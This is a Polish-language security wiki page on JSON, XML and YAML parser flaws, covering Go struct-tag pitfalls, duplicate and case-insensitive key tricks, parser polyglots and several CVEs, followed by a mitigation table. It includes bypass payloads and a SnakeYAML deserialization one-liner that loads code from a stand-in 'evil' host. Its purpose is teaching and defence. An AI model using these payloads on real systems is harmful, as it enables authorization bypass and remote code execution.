JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Go JSON Decoder
Wykryto następujące problemy w Go JSON, chociaż mogą one występować również w innych językach. Problemy te zostały opublikowane w tym wpisie na blogu.
Parsers JSON, XML i YAML w Go mają długą historię niespójności i niebezpiecznych domyślnych ustawień, które mogą być wykorzystywane do obejścia uwierzytelniania, eskalacji uprawnień lub ekstrakcji wrażliwych danych.
(Un)Marshaling Unexpected Data
Celem jest wykorzystanie struktur, które pozwalają atakującemu na odczyt/zapis wrażliwych pól (np. IsAdmin
, Password
).
- Przykład struktury:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Powszechne podatności
- Brak tagu (brak tagu = pole jest nadal analizowane domyślnie):
type User struct {
Username string
}
Ładunek:
{"Username": "admin"}
- Nieprawidłowe użycie
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Ładunek:
{"-": true}
✔️ Prawidłowy sposób blokowania pola przed (de)serializacją:
type User struct {
IsAdmin bool `json:"-"`
}
Różnice w parserach
Celem jest obejście autoryzacji poprzez wykorzystanie sposobu, w jaki różne parsery interpretują ten sam ładunek w różny sposób, jak w przypadku:
- CVE-2017-12635: obejście Apache CouchDB za pomocą zduplikowanych kluczy
- 2022: Zoom 0-click RCE poprzez niespójność parsera XML
- GitLab 2025 obejście SAML za pomocą dziwactw XML
1. Zduplikowane pola:
Go's encoding/json
bierze ostatnie pole.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Inne parsery (np. Jackson w Javie) mogą brać pierwszy.
2. Niejednoznaczność wielkości liter: Go jest niejednoznaczne pod względem wielkości liter:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Nawet sztuczki z Unicode działają:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Niedopasowanie między usługami: Wyobraź sobie:
- Proxy napisane w Go
- Usługa AuthZ napisana w Pythonie
Napastnik wysyła:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python widzi
UserAction
, pozwala na to - Go widzi
AdminAction
, wykonuje to
Confuzja formatu danych (Polygloty)
Celem jest wykorzystanie systemów, które mieszają formaty (JSON/XML/YAML) lub otwierają się na błędy parsera, takie jak:
- CVE-2020-16250: HashiCorp Vault analizował JSON za pomocą parsera XML po tym, jak STS zwrócił JSON zamiast XML.
Atakujący kontroluje:
- Nagłówek
Accept: application/json
- Częściową kontrolę nad ciałem JSON
Parser XML w Go analizował to i tak i ufał wstrzykniętej tożsamości.
- Stworzony ładunek:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
- Go JSON parser:
Action_2
(niezależne od wielkości liter + ostatnie wygrywa) - YAML parser:
Action_1
(wrażliwy na wielkość liter) - XML parser: analizuje
"Action_3"
wewnątrz ciągu
Znaczące luki w parserach (2023-2025)
Poniższe publicznie wykorzystywane problemy pokazują, że niebezpieczne analizowanie to problem wielojęzyczny — nie tylko problem Go.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Dotyczy:
org.yaml:snakeyaml
< 2.0 (używane przez Spring-Boot, Jenkins itp.). - Przyczyna:
new Constructor()
deserializuje dowolne klasy Java, umożliwiając łańcuchy gadżetów, które kończą się wykonaniem zdalnego kodu. - One-liner PoC (otworzy kalkulator na podatnym hoście):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Naprawa / Łagodzenie:
- Zaktualizuj do ≥2.0 (domyślnie używa
SafeLoader
). - W starszych wersjach, wyraźnie użyj
new Yaml(new SafeConstructor())
.
libyaml Double-Free (CVE-2024-35325)
- Dotyczy:
libyaml
≤0.2.5 (biblioteka C wykorzystywana przez wiele powiązań językowych). - Problem: Wywołanie
yaml_event_delete()
dwa razy prowadzi do podwójnego zwolnienia pamięci, które napastnicy mogą wykorzystać do DoS lub, w niektórych scenariuszach, do eksploatacji sterty. - Status: Zgłoszenie odrzucone jako „niewłaściwe użycie API”, ale dystrybucje Linuksa dostarczyły poprawioną wersję 0.2.6, która defensywnie zeruje wskaźnik.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Dotyczy: Tencent RapidJSON przed zatwierdzeniem
8269bc2
(<1.1.0-patch-22). - Błąd: W
GenericReader::ParseNumber()
niekontrolowana arytmetyka pozwala napastnikom tworzyć ogromne literały numeryczne, które owijają się i uszkadzają stertę — ostatecznie umożliwiając eskalację uprawnień, gdy powstała graf obiektów jest używana do podejmowania decyzji autoryzacyjnych.
🔐 Łagodzenia (Zaktualizowane)
Ryzyko | Naprawa / Rekomendacja |
---|---|
Nieznane pola (JSON) | decoder.DisallowUnknownFields() |
Duplikujące się pola (JSON) | ❌ Brak naprawy w stdlib — waliduj za pomocą jsoncheck |
Dopasowanie bez uwzględnienia wielkości liter (Go) | ❌ Brak naprawy — waliduj tagi struktury + wstępnie kanonizuj dane wejściowe |
Śmieciowe dane XML / XXE | Użyj wzmocnionego parsera (encoding/xml + DisallowDTD ) |
Nieznane klucze YAML | yaml.KnownFields(true) |
Niebezpieczna deserializacja YAML | Użyj SafeConstructor / zaktualizuj do SnakeYAML ≥2.0 |
libyaml ≤0.2.5 podwójne zwolnienie pamięci | Zaktualizuj do 0.2.6 lub wersji poprawionej przez dystrybucję |
RapidJSON <poprawione zatwierdzenie | Kompiluj przeciwko najnowszemu RapidJSON (≥lipiec 2024) |
Odnośniki
- Baeldung – “Rozwiązywanie CVE-2022-1471 z SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.